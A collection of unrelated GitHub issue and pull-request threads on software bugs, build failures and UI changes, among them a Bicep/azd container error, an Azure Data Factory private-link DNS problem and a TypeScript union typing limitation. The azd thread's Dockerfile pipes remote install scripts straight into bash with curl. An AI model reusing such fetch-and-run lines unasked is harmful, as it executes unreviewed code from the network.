[Bug] Discord wrapped redirecting me to https://zyztem.dev/ instead of discord wrapped

Describe the issue
When clicking the https://discordwrapped.com link it redirects me to https://zyztem.dev/
To Reproduce
Github -> click on https://discordwrapped.com
Expected behavior
Should show me the discord wrapped website instead of https://zyztem.dev/
Documentation
Video example is shown below
https://github.com/user-attachments/assets/12fae577-7eb3-4920-92de-59e5377512a8

The site is back online and I fixed this. You might need to clear your cache for it to work.
Let us know if everything is working fine now!

Hey,
Thank you for putting the site back online. However I am having another issue.
Describe the issue
When uploading the package it keeps coming up with this error. I have cleaned my cache.
To Reproduce
https://discordwrapped.com/ -> Upload discord data package
Expected behavior
Should upload successfully and show the discord wrapped and not show error at the unzipping data package part
Documentation
Video example is shown below
https://github.com/user-attachments/assets/973b3814-a3cd-4deb-9b8e-110950bddaeb

The site is back online and I fixed this. You might need to clear your cache for it to work.
Let us know if everything is working fine now!

Hey,
Thank you for putting the site back online. However I am having another issue. I have made a new issue about it. Thank you for putting the site online though. I appreciate it :)


added new rebus

Associated Issue: #121
Summary of Changes
on rebuses.js added "toothpick" at line 27.
As working on Windows, had to add "linebreak-style": 0 to .eslintrc for tests to run, but dont think this impacts the project

Pull Request Test Coverage Report for Build 668

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 87.143%

Totals

Change from base Build 514:
0.0%

Covered Lines:
158

Relevant Lines:
180

💛  - Coveralls


potential bug?

https://github.com/davisking/dlib/blob/8b9d04390ce9545fc4cf3e9d8a981fc71ae8570f/dlib/global_optimization/global_function_search.cpp#L626
I believe the variable is supposed to be relative_noise_magnitude_ since testing against a set variable does not seem sound to me. I might be wrong tho. So please someone with more experience doublecheck this :)

Oh yeah, that's a bug.  Thanks for reporting it :)
I just pushed a fix.

I am happy to help ^.^


Installing SAP HANA, express edition Server + Apps, with Docker

On CentOS 4.4, it seems like docker image has bug. Pure HANA docker is working fine though.
I followed the instruction and here is log.
======== Starting HANA container run script ======== Started at: Wed Jul 25 12:57:19 UTC 2018 Script parameters: --passwords-url file:///hana/mounts/passxsa.json --agree-to-sap-license HANA version: <IP_ADDRESS>.1528768600 Linux kernel version: 4.4 Processing hooks in folder /hana/hooks/system_check ... Hook candidates:         /hana/hooks/system_check/100_hxe_check_system_prerequisites ... StartService OK OK Starting instance using: /usr/sap/HXE/SYS/exe/hdb/sapcontrol -prot NI_HTTP -nr 90 -function StartWait 2700 2 ...
After while running to build a container, I checked inside of container.
hxeadm@hxehost:/usr/sap/HXE/HDB90> HDB info USER          PID     PPID  %CPU        VSZ        RSS COMMAND hxeadm       2484        0   0.2      21056       4076 bash hxeadm       2672     2484   0.0      20256       3268  \_ /bin/sh /usr/sap/HXE/HDB90/HDB info hxeadm       2703     2672   0.0      43532       3424      \_ ps fx -U hxeadm -o user:8,pid:8,ppid:8,pcpu:5,vsz:10,r hxeadm          1        0   0.0      20916       3740 /bin/bash /run_hana --passwords-url file:///hana/mounts/passxs hxeadm        455        1   0.0      20128       3020 /bin/sh /usr/sap/HXE/HDB90/HDB start hxeadm        515      455   0.0      32872      11884  \_ /usr/sap/HXE/SYS/exe/hdb/sapcontrol -prot NI_HTTP -nr 90 - hxeadm        503        1   0.3     502608      33036 /usr/sap/HXE/HDB90/exe/sapstartsrv pf=/usr/sap/HXE/SYS/profile hxeadm        579        1   0.0      23728       2940 sapstart pf=/usr/sap/HXE/SYS/profile/HXE_HDB90_hxehost hxeadm        587      579   0.9     224332      56996  \_ /usr/sap/HXE/HDB90/hxehost/trace/hdb.sapHXE_HDB90 -d -nw - hxeadm        604      587  48.7    4781824    3113508      \_ hdbnameserver hxeadm        739      587   2.7    1331992     374772      \_ hdbcompileserver hxeadm        760      587  54.3    4566656    2864564      \_ hdbindexserver -port 39003 hxeadm        907      587   3.3    1340872     337016      \_ hdbdiserver hxeadm        909      587   3.8    1545924     562360      \_ hdbwebdispatcher hxeadm        911      587   6.8     695152     181156      \_ /hana/shared/HXE/xs/bin/../sapjvm_8/bin/java -Xmx128m hxeadm        914      587   106     695200     226124      \_ /hana/shared/HXE/xs/bin/../sapjvm_8/bin/java -Xmx128m hxeadm        918      587  46.0    1833056     682164      \_ /hana/shared/HXE/xs/bin/../sapjvm_8/bin/java -Djava.ut
After a minute later, I got this error message.
StartWait
FAIL: process hdbxscontroller HDB XS Controller not running

Hi andychoi: I've asked the team to investigate your error message and we'll respond as soon as we can, In the meantime have you checked the SAP HANA, express edition Community Site for any posts reporting this problem and possible workarounds?

Try to switch Docker storage driver to devicemapper.
https://store.docker.com/images/sap-hana-express-edition-incl-application-services/plans/6e81dee1-5032-4e3a-b227-80175d70eeb5
If your host file system is xfs, you can recommend the storage driver through the devicemapper in Docker. Add -s devicemapper to the DOCKER_OPTS property in the dockerfile.
The minimum recommended storage size is 50G. For example:
DOCKER_OPTS="-s devicemapper --storage-opt dm.basesize=50G"
For Ubuntu and Debian, the DOCKER_OPTS property can be found at /etc/default/docker.
For Fedora, SuSE, and Centos, the DOCKER_OPTS property can be found at /etc/sysconfig/docker.

Closing issue due to inactivity.


Update error logging for reported unclear issues

@xingwu1
Fixes #8978 , #9165

This checklist is used to make sure that common guidelines for a pull request are followed.

[X] The PR has modified HISTORY.rst describing any customer-facing, functional changes. Note that this does not include changes only to help content. (see Modifying change log).

[X] I adhere to the Command Guidelines.

/AzurePipelines run

@tjprescott / @marstr should be good to merge/re-run ci

Fixed :) Looks to just be acr's load perf now causing failure

@marstr all check passing now.

@marstr


Enable WASMD snapshot register in app.go so that wasm is supported in state sync

Background
This is related to issue #494 which caused validators to receive incorrect AppHash.
Paloma chain doesn't support state sync as it doesn't include wasm in RPC snapshots. As such, if you don't have the wasm directory and the wasm contract is called, your node will not be able to run the contract and generate a different state => consensus failure.
Done when

[ ] enable wasmd with snapshot register to keep the folder https://github.com/palomachain/paloma/blob/master/app/app.go#L421

Just wanted to point that that the line of code in the Done when section is not relevant for this. Wrote a bit more context in the discord.

Confirmed that this fix requires upgrade to 	github.com/CosmWasm/wasmd v0.28.0. Moved to #504.


Evaluate Citation.js

https://citation.js.org/ could help to move the whole "intelligence" to the client. If not, used, please add an adr.

Closed with #124


Top Nav Style Changes

The nav elements in the new design are aligned to the center instead if to the right. And there is the addition of a contact us button.
new top nav

old top nav

The mobile view designs nee

Also there is no down arrow in the new designs so that has to be removed. The mobile view designs need some changes, there is an hr below each top level heading and the sub menu items are indented.

In mobile view the TOC links, which are the sub nav to the page sections is hidden.

More details to come, we don't have the final design package

@OcmCollins  made some changes in the existing header block as per the new designs mentioned above.
https://161-top-nav-style-changes--takeda-ihs--hlxsites.hlx.page/
the updated doc would look like this - https://mytakeda.sharepoint.com/:w:/r/sites/Takeda-Adobe-Franklin/_layouts/15/Doc.aspx?sourcedoc={D0F50C15-6646-46B5-9540-622C62B38EBB}&file=nav.docx&action=default&mobileredirect=true
Please take a look and let me know if we can proceed with these changes ? if so we can move this code to phase-two-redo branch

done


type checker does not recognize MyType reassembled from MyType["foo"] when MyType is a union

Bug Report
please bear with me it is very difficult for me to make names for meta stuff. i will appreciate any edits to my bug ticket
the type checker does not recognize MyType reassembled from MyType["foo"] if MyType is a union of types each with a field "foo"
🔎 Search Terms
member type union
🕗 Version & Regression Information

This is the behavior in every version I tried, and I reviewed the FAQ for entries about unions
tested on Nightly, 4.1.3, and 3.9.7

⏯ Playground Link

Two playground examples:

the most minimal example i could produce
another example with code that may seem a bit more practical

💻 Code

/**
 * This is the most minimal example I could produce, but it may not
 * seem very practical. I have included a more practical one with
 * my playground examples above.
 */
interface ViewHomePageAnalyticsEvent {
  data: {
      pageType: 'home';
  };
}

interface ViewProductPageAnalyticsEvent {
  data: {
      pageType: 'product';
  };
}

type AnalyticsEvent =
  | ViewHomePageAnalyticsEvent
  | ViewProductPageAnalyticsEvent;

function makeAnalyticsEvent(data: AnalyticsEvent['data']): AnalyticsEvent {
  return { data };
}

🙁 Actual behavior
TypeScript doesn't recognize that the function makeAnalyticsEvent returns an AnalyticsEvent, and the code doesn't pass typecheck.
🙂 Expected behavior
The function makeAnalyticsEvent passes typecheck.

I guess its design limitation

This code pattern is not really correct except when there's only one property, and the special-casing we have in place for these kinds of things doesn't trigger when the properties are structured this way.
Example of why this doesn't work for n > 1 properties:
interface ViewHomePageAnalyticsEvent {
  data: {
      pageType: 'home';
  };
  type: "home";
}

interface ViewProductPageAnalyticsEvent {
  data: {
      pageType: 'product';
  };
  type: "product";
}

type AnalyticsEvent =
  | ViewHomePageAnalyticsEvent
  | ViewProductPageAnalyticsEvent;

function makeAnalyticsEvent(data: AnalyticsEvent['data'], type: AnalyticsEvent['type']): AnalyticsEvent {
  return { data, type };
}

// Creates an object that isn't a valid AnalyticsEvent
const p = makeAnalyticsEvent({ pageType: "home" }, "product");

so, maybe there's a misunderstanding; in your example @RyanCavanaugh , the type fields do not match, but if they did, i would argue you should be able to construct an AnalyticsEvent in that way:
interface ViewHomePageAnalyticsEvent {
  data: {
      pageType: 'home';
  };
  name: string;
}

interface ViewProductPageAnalyticsEvent {
  data: {
      pageType: 'product';
  };
  name: string;
}

type AnalyticsEvent =
  | ViewHomePageAnalyticsEvent
  | ViewProductPageAnalyticsEvent;

function makeAnalyticsEvent(data: AnalyticsEvent['data'], name: string): AnalyticsEvent {
  return { data, type };
}

// Creates an object that isn't a valid AnalyticsEvent
const p = makeAnalyticsEvent({ pageType: "home" }, "event name");

Sure, I clarify: It's not valid except if there's only one non-homogenous property

cool, so would you agree that this should typecheck? playground link
maybe it's just out of scope for TypeScript, which is fine, just wanna know that the minimals i provided are valid

It should in theory, yes.


Adding unmanaged jars to a project not working

I am having an issue when trying to add unmanaged jars to my project..
Has anyone seen this error:
build.sc:19: type mismatch;
 found   : mill.util.Loose.Agg[_1] where type _1 <: ammonite.ops.Path
required: mill.util.Loose.Agg[mill.eval.PathRef]
if (!ammonite.ops.exists(millSourcePath / "lib")) Agg()
^
build.sc:18: `T.command` definitions must have 1 parameter list
def unmanagedClasspath = T{
  ^
Compilation Failed

This is how my build.sc looks like:

import mill._
import mill.scalalib._

object AdcMoService extends ScalaModule {
  def scalaVersion = "2.11.7"

  def ivyDeps = Agg(
    ivy"org.mariadb.jdbc:mariadb-java-client:2.2.3",
    ivy"com.typesafe.slick::slick:3.2.3",
    ivy"com.typesafe.slick::slick-hikaricp:3.2.3",
    ivy"ch.qos.logback:logback-classic:1.1.2",
    ivy"com.typesafe.scala-logging::scala-logging:3.9.0",
    ivy"com.typesafe.akka::akka-actor:2.5.12",
    ivy"com.typesafe.akka::akka-testkit:2.5.12",
    ivy"com.github.nscala-time::nscala-time:2.20.0"
  )

  def unmanagedClasspath = T{
    if (!ammonite.ops.exists(millSourcePath / "lib")) Agg()
    else Agg.from(ammonite.ops.ls(millSourcePath / "lib"))
  }

}

Work-around:
Agg.from(ammonite.ops.ls(millSourcePath / "lib").map(PathRef(_)))

That's the correct solution


stream_settings: Improve "Mute stream" option UI in stream settings

[!WARNING]
In this PR, the "Mute stream" option has been moved to "Notification settings." When the mute stream option is enabled, the notification settings become disabled, including the Mute stream's own checkbox. This leads to a self-restricting state where unmuting the stream is no longer possible. Therefore, #27272 should be considered as a blocker for this PR.

This PR adds the following changes:

Move "Mute stream" to the top of the "Notification settings" section
Add a help ? link to /help/mute-a-stream beside the "Mute stream" label.
Drop the "Muted streams don't show up in "All messages" or generate notifications unless you are mentioned." text for muted streams.

Fixes: #27274

Screenshots and screen captures:

Not Muted
Muted

Self-review checklist

[x] Self-reviewed the changes for clarity and maintainability
(variable names, code reuse, readability, etc.).

Communicate decisions, questions, and potential concerns.

[x] Explains differences from previous plans (e.g., issue description).
[x] Highlights technical choices and bugs encountered.
[x] Calls out remaining decisions and concerns.
[x] Automated tests verify logic where appropriate.

Individual commits are ready for review (see commit discipline).

[x] Each commit is a coherent idea.
[x] Commit message(s) explain reasoning and motivation for changes.

Completed manual review and testing of the following:

[x] Visual appearance of the changes.
[x] Responsiveness and internationalization.
[x] Strings and tooltips.
[x] End-to-end functionality of buttons, interactions and flows.
[x] Corner cases, error conditions, and easily imagined bugs.

@sahil839 Are you up for reviewing this one? I haven't tested.

I tested and it works correctly. Code change also look good.
One thing that I am not sure about is that whether it would be better to not update is_notification_setting function to return true for the muted setting.
This effects readability of the code, for example we call stream_data.receives_notifications for the is_muted setting and it returns true, even when we do not receive notifications for muted streams unless mentioned.
It might be better to just handle it separately and update the code to be like is_notification_setting(setting) || setting == "is_muted" wherever required. I am not sure, so would be good to wait for a feedback from @timabbott before changing anything.

But yeah, the is_muted setting still affects notifications, another workaround could be that we update is_notification_setting to return true for it, but do not call the receives_notifications code for this setting and handle it separately by updating the if-condition to be setting !== "is_muted" && is_notification_setting(setting) here.

Thanks! Sounds like the next step is for @timabbott to take a look.

Thank you for your review, @sahil839. I fully comprehend your concerns, and I'm waiting for feedback from @timabbott to guide the next steps in this process. Thank you!

It might be better to just handle it separately and update the code to be like is_notification_setting(setting) || setting == "is_muted" wherever required. I am not sure, so would be good to wait for a feedback from @timabbott before changing anything.

I think setting is_notification_setting to true for is_muted isn't great, as settings_config.generalize_stream_notification_setting, for example, doesn't make sense with it.
Probably the is_notification_setting(setting) || setting == "is_muted" logic is OK, given that this only appears in a couple places...
But the best answer would be to rename is_notification_setting to has_global_notification_setting or something like that, and maybe leave an is_notification_setting that is return has_global_notification_setting(setting) or setting === "is_muted";.

But the best answer would be to rename is_notification_setting to has_global_notification_setting or something like that, and maybe leave an is_notification_setting that is return has_global_notification_setting(setting) or setting === "is_muted";.

Yes, this sounds good.

Thank you @timabbott and @sahil839, I have pushed the updated code with the recommended changes. This PR is now ready for another review.

LGTM. Might be worth adding a brief explaination about the renaming of functions in first commit.

LGTM. Might be worth adding a brief explaination about the renaming of functions in first commit.

I have added a brief explanation to the renaming in the first commit, thanks @sahil839!

Merged, thanks @sayamsamal!


Build failure: musescore

Steps To Reproduce
Steps to reproduce the behavior:

build musescore

Build log
The full log from my system rebuild is here (gist). The following is just the ending where the errors are mentioned.
-- Configuring done (10.9s)
-- Generating done (0.5s)
CMake Warning:
  Manually-specified variables were not used by the project:

    CMAKE_EXPORT_NO_PACKAGE_REGISTRY
    CMAKE_POLICY_DEFAULT_CMP0025

-- Build files have been written to: /build/source/build
cmake: enabled parallel building
cmake: enabled parallel installing
Running phase: buildPhase
build flags: -j4
[0/2] Re-checking globbed directories...
ninja: error: 'src/framework/global/CMakeFiles/global.dir/cmake_pch.hxx.gch', needed by 'src/framework/global/CMakeFiles/global.dir/Unity/unity_4_cxx.cxx.o', missing and no known rule to make it
error: builder for '/nix/store/3nzcj45lzndfssf08dnhi8fv8x010xvj-musescore-4.2.1.drv' failed with exit code 1
error: 1 dependencies of derivation '/nix/store/s922clghx99v7aqigq8rx2w0dhw7mwky-user-environment.drv' failed to build
error: 1 dependencies of derivation '/nix/store/fa92y24mnr1k2vzldgn9kqppyrgclwx1-etc.drv' failed to build
error: 1 dependencies of derivation '/nix/store/z06ggyry75qpjyk0czvas4q047nw4y2z-nixos-system-watson-24.05pre588267.73de017ef2d1.drv' failed to build

Notify maintainers
@vandenoever
@doronbehar

Metadata
Please run nix-shell -p nix-info --run "nix-info -m" and paste the result.

system: "x86_64-linux"
host os: Linux 6.1.78, NixOS, 24.05 (Uakari), 24.05pre587158.cbc4211f0aff
multi-user?: yes
sandbox: yes
version: nix-env (Nix) 2.18.1
channels(root): "nixos"
nixpkgs: /nix/var/nix/profiles/per-user/root/channels/nixos

Add a :+1: reaction to issues you find important.

same issue here

#290037 apparently fixes this.

still broken for me in nixos-unstable

@thilobillerbeck You need to wait until #290037 appears in nixos-unstable. IFAIK, staging is merged to master approximately once in two weeks. You can watch progress here.

Ah thx 👍 I was just confused bc. some other things that got merged later on already landed in *-unstable. But thanks for sharing the progress page. 🙂

The mentioned PR has finally be merged into nixos-unstable today! MuseScore from unstable now builds for me. I think we can close this issue.


Running bicep fails in a completely blank ubuntu container

Use this dockerfile:
FROM ubuntu

# Add basic requirements
RUN apt update && apt install -y curl git

# Install Node (required for azd commands to work)
RUN curl -fsSL https://deb.nodesource.com/setup_18.x | bash - &&\
    apt-get install -y nodejs

# Install azd
RUN curl -fsSL https://aka.ms/install-azd.sh | bash

# Produces the bicep error
RUN mkdir azd-test \
    && cd azd-test \
    && azd init --template Azure-Samples/todo-nodejs-mongo \
    && azd provision

Error message:
#0 2.026 Downloading Bicep
#0 4.821
#0 4.821 ERROR: creating provisioning manager: error creating infra provider: error creating provider for type 'bicep' : checking bicep version: signal: aborted

Running the downloaded bicep gets you:
Process terminated. Couldn't find a valid ICU package installed on the system. Please install libicu using your package manager and try again. Alternatively you can set the configuration flag System.Globalization.Invariant to true if you want to run with no globalization support. Please see https://aka.ms/dotnet-missing-libicu for more information.
...

And this can be solved by setting the environment variable
DOTNET_SYSTEM_GLOBALIZATION_INVARIANT=1

It might make sense for us to do this directly in our code if we envision running in this kind of environment.

@savannahostrowski I have a similar problem, therefore it is not that uncommon. I wanted to build a custom docker container image for using azd (as we really like using it instead of az and terraform combined with other stuff) for deployment in gitlab-ci (as we do not use github). As the provided container image by MS is really big and has a lot of overhead installed to fit more use cases, I created a custom one, which worked fine until this error popped up. In my opinion it should work with using terraform as infrastructure provider, but bicep is preferred in my case.

Yeah that makes sense. Thanks for providing more context here. I think I misunderstood the original issue filed.
This seems like a bug.

@danieljurek @ellismg if a Dotnet core/runtime install issue on Linux required for Bicep.
Should we point here Install .NET on Linux by using an install script or by extracting binaries or should this be custom handled in azd?

To me the root cause of the issue here is that bicep doesn't work out of the box in the container image he built, because that container is missing libicu, which is something .NET Core Apps need, even when they are built standalone.
Running bicep directly fails, but with a good and actionable error message, however from the message that @danieljurek
showed from azd, that message is lost, and so the user can not self solve, either by setting that environment variable, or installing a package to provide libicu (in this case, @danieljurek, you could add apt-get install libicu70 which would install the globalization library that the .NET application needs).  We should try to fix that, so that when we fail folks have a shot at self solving.
Now, as to what we should do about this,  I think that in practice, it would probably be fine for us to set DOTNET_SYSTEM_GLOBALIZATION_INVARIANT=1 when running Bicep.  Reading over https://github.com/dotnet/runtime/blob/main/docs/design/features/globalization-invariant-mode.md it does not seem like it would bite us in our use of bicep.  It looks like bicep could opt into this behavior themselves if they wanted, at the app level, which could be nice.  I can't imagine that these changes would impact their tooling.
But, we will be swimming a bit upstream, if there are other paths that end up pulling in other .NET Core based tools (I don't think we have such a thing today, but it might happen in the future, maybe powershell?) and so it's probably worthwhile to just install libicu on the machine if you are going to be using bicep.
Note that because of how ICU versions, the name of the package you have to apt-get install changes across distributions, since the package name includes the version of the data.  I had to use apt search libicu to find the name of the package.

When we add our dev-container feature, we should consider installing this package as part of our setup.  We can use something like:
apt-cache search '^libicu[0-9]+$' | cut -d' ' -f1

To find the name of the package to install, which should make our setup script more portable (at least across debian based distros, which seems like how most of the other features end up working).
@leanderkunstmann you can also work around this issue by installing libicu in your container, if you had not figured that out.  It should not bloat the container too much.  Interested if you ended up doing that or just setting DOTNET_SYSTEM_GLOBALIZATION_INVARIANT=1 yourself?

When we add our dev-container feature, we should consider installing this package as part of our setup. We can use something like:

@hemarina for handling the above as part of devcontainer feature being worked on for current iteration.
@leanderkunstmann please try the above workaround and let us know.

Due to how bicep was exiting we were not including this text in the output of the error.  #2438 fixes that, and now the error you would see would look like this:

Much nicer, and easier to self solve.

When we add our dev-container feature, we should consider installing this package as part of our setup. We can use something like:

@hemarina for handling the above as part of devcontainer feature being worked on for current iteration.
@leanderkunstmann please try the above workaround and let us know.

adding
RUN apt-get install libicu70
to my dockerfile fixed the issue, now I am able to deploy with azd inside the container.
Thank you for the workaround, helps me a lot.


ja: Make docs/setup/production-environment/tools/kubeadm/high-availability.md follow v1.17 of the original text

This is a Feature Request

What would you like to be added
Update docs/setup/production-environment/tools/kubeadm/high-availability.md to follow v1.17 of the original (English) text.
Why is this needed
content/ja/docs/setup/production-environment/tools/kubeadm/high-availability.md is outdated.
Comments
/language ja
/good-first-issue
File to update
https://github.com/kubernetes/website/blob/dev-1.17-ja.3/content/ja/docs/setup/production-environment/tools/kubeadm/high-availability.md
Original
https://github.com/kubernetes/website/blob/release-1.17/content/en/docs/setup/production-environment/tools/kubeadm/high-availability.md
diff between translated and v1.17
https://gist.github.com/c81ae47a8e601e7f2b700ab22a71f206
Note
Currently, we use dev-1.17-ja.3 branch. Please open a PR targeting the branch.
ref
How To Contribute
翻訳スタイルガイド
If you have a question, feel free to ask us at slack.k8s.io #kubernetes-docs-ja channel

/assign

/close


ERR: too many reordered frames

Hey there,
I'm running one of the examples client-read-format-h264-save-to-disk using the master branch. I have the majority of my IP cameras working well, the RTSP streams read out properly, except one is throwing strange errors.  Consequently, the DTS extraction algorithm get confused since it receives incomplete frames.
Increase the available bandwidth between the camera and the server, or lower the bitrate.


Private Link zone privatelink.adf.azure.com breaks communication with ADF from Portal

Azure Data Factory Private Endpoint - Portal
We are currently onboarding private link domains to our central DNS according to this list:
https://docs.microsoft.com/en-us/azure/private-link/private-endpoint-dns
We have encountered issues with one of the domains used for ADF.
When we created privatelink.adf.azure.com and mapped it to our hub vNet suddenly our corporate users could not access ADF from Azure portal any more using "Open Azure Data Factory Studio". When you open this you get re-directed to https://adf.azure.com/* which is blank, site could not be reached.
After troubleshooting it was easy to understand what the problem was.
Usually with Private Endpoints the CNAME to Private Link does not get created until you created a Private Endpoint.
This is not the case for the portal resource of ADF.
Here from my personal computer at home we can see that adf.azure.com has a CNAME for portal.privatelink.adf.azure.com.

C:\Users\Joakim>nslookup adf.azure.com
Server:  dns.google
Address:  <IP_ADDRESS>
Non-authoritative answer:
Name:    waws-prod-am2-75a72192.cloudapp.net
Address:  <IP_ADDRESS>
Aliases:  adf.azure.com
portal.privatelink.adf.azure.com
datafactoryv2.trafficmanager.net
datafactoryv2ase-weu.datafactoryv2ase-weu.p.azurewebsites.net
waws-prod-am2-75a72192.sip.p.azurewebsites.windows.net

From inside customer network it looks like this:

set q=all
adf.azure.com
Server:  [<IP_ADDRESS>]
Address:  <IP_ADDRESS>
Non-authoritative answer:
adf.azure.com   canonical name = portal.privatelink.adf.azure.com

The empty result is fully expected since we do not have a record for portal.privatelink.adf.azure.com.
Couple of questions:

Why is there a CNAME to portal.privatelink.adf.azure.com in the first place before we even create a Private Endpoint?
And since it there, what can I do about it?

The idea would be that all users accessing their ADF (without a PE for portal) should reach the Public IP.
All users reaching their ADF with a PE for portal should reach their private IP. But apparently the FQDN for a portal PE is not unique, every ADF with a portal PE gets the same FQDN portal.privatelink.adf.azure.com, so the IP in the central zone just gets overwritten by the next.
According to this link the same PE would be used for all:
https://docs.microsoft.com/en-us/answers/questions/643633/multiple-data-factories-with-in-the-same-subscript.html
"As per confirmation from product team, if a user has one VNET for multiple data factories and if you setup private link for one data factory, then other factories will leverage the same private link. which means even other data factories don't want to use it, the traffic goes through private link, not public."

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 04cca896-a855-6c8a-44fa-0ba83b5f058a
Version Independent ID: 3d841099-2213-9384-a0b9-568c04663630
Content: Azure Private Link for Azure Data Factory - Azure Data Factory
Content Source: articles/data-factory/data-factory-private-link.md
Service: data-factory
Sub-service: integration-runtime
GitHub Login: @lrtoyou1223
Microsoft Alias: lle

Thanks for bringing this to our attention. We are actively investigating and will get back to you soon.

Relating this issue to Microsoft Q&A thread
https://docs.microsoft.com/en-us/answers/questions/762134/index.html

Thank you for your feedback. This has been assigned to the content owner and will be updated as appropriate.
@lrtoyou1223 can you help clarify the indended behavior

Any progress on this?

Also seeing the same issue

@lrtoyou1223 Hello! Any update on this?

This is a known issue; we do have plan to change the FQDN to specific factory name which can solve it. The tentative ETA is Q4 this year.

Thanks for providing feedback that helps improve our documentation. This issue has been resolved and we are closing the issue. #please-close

Still seeing this Issue? why is this closed? has this moved under a new issue ID? @MartinJaffer-MSFT

we still see this issue as well

Hello @lrtoyou1223,
I still see this issue as well.
Have two questions.

Is there a timeline to fix the issue?
What is a workaround?

Has there been any movement on this issue? Or maybe a workaround? We are passed Q4 2022.

How is this marked as fix?  It's been more than two years since the last substantive update on this issue and the problem is not resolved.  This should be re-opened.

Agreed, is there any movement on this issue?


Feat: add check if pdf is corrupted

Details

Fixed Issues

$ https://github.com/Expensify/App/issues/34032
Tests

Login to app
Click on FAB and select Submit Expense
Go to Scan tab
Click on icon to upload a document
Select corrupted pdf file
Verify that you have been alerted that pdf is corrupted and did navigate to next step

[x] Verify that no errors appear in the JS console

Offline tests

QA Steps

Login to app
Click on FAB and select Submit Expense
Go to Scan tab
Click on icon to upload a document
Select corrupted pdf file
Verify that you have been alerted that pdf is corrupted and did navigate to next step

[x] Verify that no errors appear in the JS console

PR Author Checklist

[x] I linked the correct issue in the ### Fixed Issues section above
[x] I wrote clear testing steps that cover the changes made in this PR

[x] I added steps for local testing in the Tests section
[x] I added steps for the expected offline behavior in the Offline steps section
[x] I added steps for Staging and/or Production testing in the QA steps section
[x] I added steps to cover failure scenarios (i.e. verify an input displays the correct error message if the entered data is not correct)
[x] I turned off my network connection and tested it while offline to ensure it matches the expected behavior (i.e. verify the default avatar icon is displayed if app is offline)
[x] I tested this PR with a High Traffic account against the staging or production API to ensure there are no regressions (e.g. long loading states that impact usability).

[x] I included screenshots or videos for tests on all platforms
[x] I ran the tests on all platforms & verified they passed on:

[x] Android: Native
[x] Android: mWeb Chrome
[x] iOS: Native
[x] iOS: mWeb Safari
[x] MacOS: Chrome / Safari
[x] MacOS: Desktop

[x] I verified there are no console errors (if there's a console error not related to the PR, report it or open an issue for it to be fixed)
[x] I followed proper code patterns (see Reviewing the code)

[x] I verified that any callback methods that were added or modified are named for what the method does and never what callback they handle (i.e. toggleReport and not onIconClick)
[x] I verified that the left part of a conditional rendering a React component is a boolean and NOT a string, e.g. myBool && <MyComponent />.
[x] I verified that comments were added to code that is not self explanatory
[x] I verified that any new or modified comments were clear, correct English, and explained "why" the code was doing something instead of only explaining "what" the code was doing.
[x] I verified any copy / text shown in the product is localized by adding it to src/languages/* files and using the translation method

[x] If any non-english text was added/modified, I verified the translation was requested/reviewed in #expensify-open-source and it was approved by an internal Expensify engineer. Link to Slack message:

[x] I verified all numbers, amounts, dates and phone numbers shown in the product are using the localization methods
[x] I verified any copy / text that was added to the app is grammatically correct in English. It adheres to proper capitalization guidelines (note: only the first word of header/labels should be capitalized), and is either coming verbatim from figma or has been approved by marketing (in order to get marketing approval, ask the Bug Zero team member to add the Waiting for copy label to the issue)
[x] I verified proper file naming conventions were followed for any new files or renamed files. All non-platform specific files are named after what they export and are not named "index.js". All platform-specific files are named for the platform the code supports as outlined in the README.
[x] I verified the JSDocs style guidelines (in STYLE.md) were followed

[x] If a new code pattern is added I verified it was agreed to be used by multiple Expensify engineers
[x] I followed the guidelines as stated in the Review Guidelines
[x] I tested other components that can be impacted by my changes (i.e. if the PR modifies a shared library or component like Avatar, I verified the components using Avatar are working as expected)
[x] I verified all code is DRY (the PR doesn't include any logic written more than once, with the exception of tests)
[x] I verified any variables that can be defined as constants (ie. in CONST.js or at the top of the file that uses the constant) are defined as such
[x] I verified that if a function's arguments changed that all usages have also been updated correctly
[x] If any new file was added I verified that:

[x] The file has a description of what it does and/or why is needed at the top of the file if the code is not self explanatory

[x] If a new CSS style is added I verified that:

[x] A similar style doesn't already exist
[x] The style can't be created with an existing StyleUtils function (i.e. StyleUtils.getBackgroundAndBorderStyle(theme.componentBG))

[x] If the PR modifies code that runs when editing or sending messages, I tested and verified there is no unexpected behavior for all supported markdown - URLs, single line code, code blocks, quotes, headings, bold, strikethrough, and italic.
[x] If the PR modifies a generic component, I tested and verified that those changes do not break usages of that component in the rest of the App (i.e. if a shared library or component like Avatar is modified, I verified that Avatar is working as expected in all cases)
[x] If the PR modifies a component related to any of the existing Storybook stories, I tested and verified all stories for that component are still working as expected.
[x] If the PR modifies a component or page that can be accessed by a direct deeplink, I verified that the code functions as expected when the deeplink is used - from a logged in and logged out account.
[x] If the PR modifies the UI (e.g. new buttons, new UI components, changing the padding/spacing/sizing, moving components, etc) or modifies the form input styles:

[x] I verified that all the inputs inside a form are aligned with each other.
[x] I added Design label and/or tagged @Expensify/design so the design team can review the changes.

[x] If a new page is added, I verified it's using the ScrollView component to make it scrollable when more elements are added to the page.
[x] If the main branch was merged into this PR after a review, I tested again and verified the outcome was still expected according to the Test steps.

Screenshots/Videos

Android: Native
https://github.com/Expensify/App/assets/25230417/dce19005-6a43-45cb-8889-d98bcfd82740

Android: mWeb Chrome

iOS: Native

iOS: mWeb Safari

MacOS: Chrome / Safari
https://github.com/Expensify/App/assets/25230417/6b0841af-ef1f-400a-8ecb-b526e8ffcbd4

MacOS: Desktop

@kubabutkiewicz Also what about converting your module to Kotlin? 🙂

@fabioh8010 I created that originally as Kotlin module but then when I wanted to test it the app was not building, but when I rewrite it in Java everything was good so I left it as a Java module

Reviewer Checklist

[ ] I have verified the author checklist is complete (all boxes are checked off).
[ ] I verified the correct issue is linked in the ### Fixed Issues section above
[ ] I verified testing steps are clear and they cover the changes made in this PR

[ ] I verified the steps for local testing are in the Tests section
[ ] I verified the steps for Staging and/or Production testing are in the QA steps section
[ ] I verified the steps cover any possible failure scenarios (i.e. verify an input displays the correct error message if the entered data is not correct)
[ ] I turned off my network connection and tested it while offline to ensure it matches the expected behavior (i.e. verify the default avatar icon is displayed if app is offline)

[ ] I checked that screenshots or videos are included for tests on all platforms
[ ] I included screenshots or videos for tests on all platforms
[ ] I verified tests pass on all platforms & I tested again on:

[ ] Android: Native
[ ] Android: mWeb Chrome
[ ] iOS: Native
[ ] iOS: mWeb Safari
[ ] MacOS: Chrome / Safari
[ ] MacOS: Desktop

